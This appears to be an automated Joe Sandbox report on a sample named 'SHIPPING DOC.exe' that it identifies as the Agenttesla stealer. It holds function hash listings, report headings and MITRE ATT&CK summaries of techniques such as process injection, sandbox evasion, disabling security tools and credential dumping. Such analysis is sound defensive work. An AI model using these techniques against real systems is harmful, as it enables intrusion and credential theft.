Opcode Fuzzy Hash: ac17bc2b19ad35890cb51c22aef774a29907d5cd1903376061507406604e4dd8
Instruction Fuzzy Hash: 5D318E75E102099FCF45CFA9D4846AEF7B2FF89300F148619E815AB280EB749841CB90

Uniqueness

Uniqueness Score: -1.00%

Function 030E9260 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c00d2d32f218ebd3394c865033a92c0d427901cfc229ff0b8f01261b82d5c8b
Instruction ID: 91e115d27b26900ffbf6e98a50882d737d27a9c4da27a03c500fbdfe6b448555
Opcode Fuzzy Hash: 5c00d2d32f218ebd3394c865033a92c0d427901cfc229ff0b8f01261b82d5c8b
Instruction Fuzzy Hash: 1C217E31F102099FCF45CFA9D48469EF7B6FF89300F14C619E815AB280DB749881CB90

Uniqueness

Uniqueness Score: -1.00%

Function 030E16A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ece8023981e1b9af9f564f7d4b4ad7aa334c6a54c73d025d22004972af7719c9
Instruction ID: ee8d262bd1af30e26ffe4ea8ad1de4c6b7fa411ccb342ab0ef858dad085ee4d4
Opcode Fuzzy Hash: ece8023981e1b9af9f564f7d4b4ad7aa334c6a54c73d025d22004972af7719c9
Instruction Fuzzy Hash: C32192707102004FDF64D729F888BAA37BAEB49745F148AA5D446CB355EA78DC808FE2

Uniqueness

Uniqueness Score: -1.00%

Function 030E9150 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6663e8b0d702c4519b18fd8d108198eca0dcf4dd96bed6519055dadb528c1d5
Instruction ID: bc64ef6895fcd30bde54768b12f2ba1ee3d951a6f721c07a02d4c524da2b6f78
Opcode Fuzzy Hash: b6663e8b0d702c4519b18fd8d108198eca0dcf4dd96bed6519055dadb528c1d5
Instruction Fuzzy Hash: 66218335E012099FCB18CFA9D4545DEF7B6AF89300F14855AE815BB351EB709845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 030E4F88 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37fc4b2b7c77a59db19f83f329523d6d8251405115ff2741ef339bc2b515c96
Instruction ID: ff615f24d5fa250813080353e2c6b27c8e89bff48406573b821f1c45a29f4211
Opcode Fuzzy Hash: c37fc4b2b7c77a59db19f83f329523d6d8251405115ff2741ef339bc2b515c96
Instruction Fuzzy Hash: 6C215A74701204CFCB54DF79D958AADB7F5EB8E215B1008A8E406EB3A4EB75DC00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0146D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2476515079.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_146d000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f414a6e7098e6686dc8db2f0f4a3afe8a50075026c041ee1078cead077e101
Instruction ID: ea9470ea2c7e48be799b4b672059656953688103f4de6426a5f52f8589e0f071
Opcode Fuzzy Hash: 01f414a6e7098e6686dc8db2f0f4a3afe8a50075026c041ee1078cead077e101
Instruction Fuzzy Hash: 162125B5A04340DFDB15DF54D880B26BBA9EB8431CF24C56ED98A0B366C337D447CA62

Uniqueness

Uniqueness Score: -1.00%

Function 030E1380 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e5330ffc72698dba3d274130680b4d934f44e0ad1ea902c43ddc86f744ebae
Instruction ID: aa158a1a0a605650edd91e7fd28311e7c681644bc143c55afe1523f32f346003
Opcode Fuzzy Hash: 87e5330ffc72698dba3d274130680b4d934f44e0ad1ea902c43ddc86f744ebae
Instruction Fuzzy Hash: 182103B17123018FDB78E638F48C36C7398E706341F1848AAE806CB795DB79CC858B46

Uniqueness

Uniqueness Score: -1.00%

Function 030E9160 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dd17592ec26ac6a5c1a4c8ca0ee8559fe4a6f1caa629064e1e352805dd734f7
Instruction ID: 86b3d6520c6dd7c8e60f26a26e3848834c4a7eb3adee75cb4eab5d9c16d274f0
Opcode Fuzzy Hash: 2dd17592ec26ac6a5c1a4c8ca0ee8559fe4a6f1caa629064e1e352805dd734f7
Instruction Fuzzy Hash: D8215035F012099FCB18CFA9D8545DEF7B6BF89310F50855AE815BB350EB74A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 030E1888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348d3ce781cd10d33e28bb410c8945775fab3dd93fa438474111f89e86fbd6d0
Instruction ID: 7e8213e9085e874eb46e521fdf26330311511bdf1891d04d23575dddee6b9050
Opcode Fuzzy Hash: 348d3ce781cd10d33e28bb410c8945775fab3dd93fa438474111f89e86fbd6d0
Instruction Fuzzy Hash: D6213A34B01215CFDB68EB69C5147AEB7F6AF8D201F1404A8D106EB390EF769D40CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 030E16B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 154a5bece9ced7370979549aedd73f92405b5746cdd4eeb5b0cbdbb1c9b62cc6
Instruction ID: 200f59c917a9b8b5c512ec1c50f871d5db7a616f40ae2ebdd84d7fd4ed81fd62
Opcode Fuzzy Hash: 154a5bece9ced7370979549aedd73f92405b5746cdd4eeb5b0cbdbb1c9b62cc6
Instruction Fuzzy Hash: 612193707101004FDF64D729F888B6E37AAEB49745F148AA5D446CB355DA78DC808FA1

Uniqueness

Uniqueness Score: -1.00%

Function 030E4F98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f09d5b3176a414813579f3871ccc3e90cb16c8427ef8ca94c86537ec78b4fc1
Instruction ID: 8331adcc8919e8e535ad2cff40b2472e03913e3a2e592b330cf98047d18ac985
Opcode Fuzzy Hash: 6f09d5b3176a414813579f3871ccc3e90cb16c8427ef8ca94c86537ec78b4fc1
Instruction Fuzzy Hash: 49211674701204CFCB54DB79D958AADB7F5EB8E215B1004A8E406EB3A4DB75DD00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 030E0848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b496710f71fc38464a9c903a7a12b7ff6fe12b6e57247983becfe5a727a95d9
Instruction ID: 7c70f8208fe8e47399d68d52e6b8004081e372649d51cf285913c9cee06e997d
Opcode Fuzzy Hash: 8b496710f71fc38464a9c903a7a12b7ff6fe12b6e57247983becfe5a727a95d9
Instruction Fuzzy Hash: AB119430B023094FEFA4DA7BD55836932D9EB46654F188879D486CF341DAA5CC814BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0146D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2476515079.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_146d000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8462d3f83d145d17486240d9841dda1ac2fa6d0b633a3d6b03a75a25be75e4e3
Instruction ID: 2cb6ae194f6fca8d6e8b89217dabc42ffe2a6be9b6e0fba1fa2878fbb2ffa20c
Opcode Fuzzy Hash: 8462d3f83d145d17486240d9841dda1ac2fa6d0b633a3d6b03a75a25be75e4e3
Instruction Fuzzy Hash: C12183755093808FD713CF24D590716BF71EB46218F28C5DBD8898F667C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 030E6B8F Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 235e8f236c657b8914ddb58d28040940a9f54daccee0a6670299ecb99642161d
Instruction ID: 659a06d37fb156c654fa33100e5875fd751791c957c3798ee9ec9957d8bdaf8f
Opcode Fuzzy Hash: 235e8f236c657b8914ddb58d28040940a9f54daccee0a6670299ecb99642161d
Instruction Fuzzy Hash: 8E112320304684AFD306AB78A4686AE7FF5EFCA300F1584EBD005CB392DE364841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 030E0838 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e666bcc3495a24964fe60e6fafc2fc155fe9970effc520fe549e330593239f63
Instruction ID: 5bd3f4ae15ca7f812cd8e49b51cc93662fd3615665e950caee09145a82bdab8c
Opcode Fuzzy Hash: e666bcc3495a24964fe60e6fafc2fc155fe9970effc520fe549e330593239f63
Instruction Fuzzy Hash: 8111C630B023094FEFA4DA7BD65437932D9EB56255F18897DD486CF281DAE5CC814BC2

Uniqueness

Uniqueness Score: -1.00%

Function 030E17C0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9e18bb85636f89b05439bf526ab646428e46b825d509cc56fec0c988e6a5d58
Instruction ID: 2ae7098c819eab01d6f0dfe760a3c05410d5d2776900d169590e0a55f1228c71
Opcode Fuzzy Hash: e9e18bb85636f89b05439bf526ab646428e46b825d509cc56fec0c988e6a5d58
Instruction Fuzzy Hash: 3611C276B002549FDB50EB7AE80C65F7BF9FB88650B2445A5E946D3304E634C801CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 030E148A Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07da8bfdcf6224ef155748af3bc16e593b7a7b158984c1a9786050199c0f7fe4
Instruction ID: 142f9f97e067a43b2bfa52f275be67afe651977d69d6ffb8f3ef080e1e2347b4
Opcode Fuzzy Hash: 07da8bfdcf6224ef155748af3bc16e593b7a7b158984c1a9786050199c0f7fe4
Instruction Fuzzy Hash: 8C11A176B023249FCF65EFB9C4502AEBBF5EF48210B190479D805EB301E735C8418BA1

Uniqueness

Uniqueness Score: -1.00%

Function 030E1498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e8587f0f580c959afffbfa5953129d211f192a99c63a4e9a5fe8fdf2b53a9d5
Instruction ID: ef92b5e8ec6a28c750517e4ae17fcf290eaa35dd2d6bfe091649ae038468dcbc
Opcode Fuzzy Hash: 4e8587f0f580c959afffbfa5953129d211f192a99c63a4e9a5fe8fdf2b53a9d5
Instruction Fuzzy Hash: FB014076B023259FCF65EFB9C4542AEBBF5EB88210B144479D805EB301E735C8418BD5

Uniqueness

Uniqueness Score: -1.00%

Function 030E80F1 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 395cf0fde159dfb74f87ccb7a4f7744f67793e756b9fc52485644cb547bb9776
Instruction ID: 162b5d1491f3f2b94cc6cf767be3a54edded03ed8e9de78bdf7f5a756df12c88
Opcode Fuzzy Hash: 395cf0fde159dfb74f87ccb7a4f7744f67793e756b9fc52485644cb547bb9776
Instruction Fuzzy Hash: 1C018FB0A103089FDB41EFB9F8846ADBBB5EB45700F9042A9C4059B251DE752E44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 030E1524 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8db8402a705b623814ceaac8160915fc0de610f84b698a492c9f8618dcb20a
Instruction ID: 8a2cb0c35462db0964396934166e54c56049e208fabad794319183de061e871d
Opcode Fuzzy Hash: ed8db8402a705b623814ceaac8160915fc0de610f84b698a492c9f8618dcb20a
Instruction Fuzzy Hash: FFF0247BB06260DFCB26CBA4C4902ACBBB1EE8822175D40E7D812DF701D335D442CB51

Uniqueness

Uniqueness Score: -1.00%

Function 030E7090 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c9d0d1661a17181b89a04bd9c92d3d9277922dd2df3f117e4ffcbf43998b62
Instruction ID: f8c07cc93e4afb9aa0e5715725dcae2593e32a0e4aa17a5e4e641ec8e384e8a1
Opcode Fuzzy Hash: 40c9d0d1661a17181b89a04bd9c92d3d9277922dd2df3f117e4ffcbf43998b62
Instruction Fuzzy Hash: A8F03C35740204CFC714EB68E558B6C77B2FF88351F5180A8E506CB3A4DB34AD42CB40

Uniqueness

Uniqueness Score: -1.00%

Function 030E8100 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477748688.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30e0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 757270c3de258b1642c3aebe62376122c97f9de0a12497eb9b093af1e94fcfe8
Instruction ID: 5f50167216cf96b784a17c97142796065329f549592e2f1e02c1a3238cf69e94
Opcode Fuzzy Hash: 757270c3de258b1642c3aebe62376122c97f9de0a12497eb9b093af1e94fcfe8
Instruction Fuzzy Hash: 5AF04470A10308DFDB44EFADF8846AD77F5FB49740F908269C4059B250DE752E54CBA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SHIPPING DOC.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SHIPPING DOC.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
SHIPPING DOC.exe

Function 050C7300 Relevance: 5.5, Strings: 2, Instructions: 3005
COMMON

Function 050C72F0 Relevance: 5.4, Strings: 2, Instructions: 2892
COMMON

Function 029BB218 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Function 029B455C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 029B5D0D Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Function 050C43A0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Function 029BBC10 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 029BDAFA Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 029BA5E8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 029BB698 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Function 029BB418 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
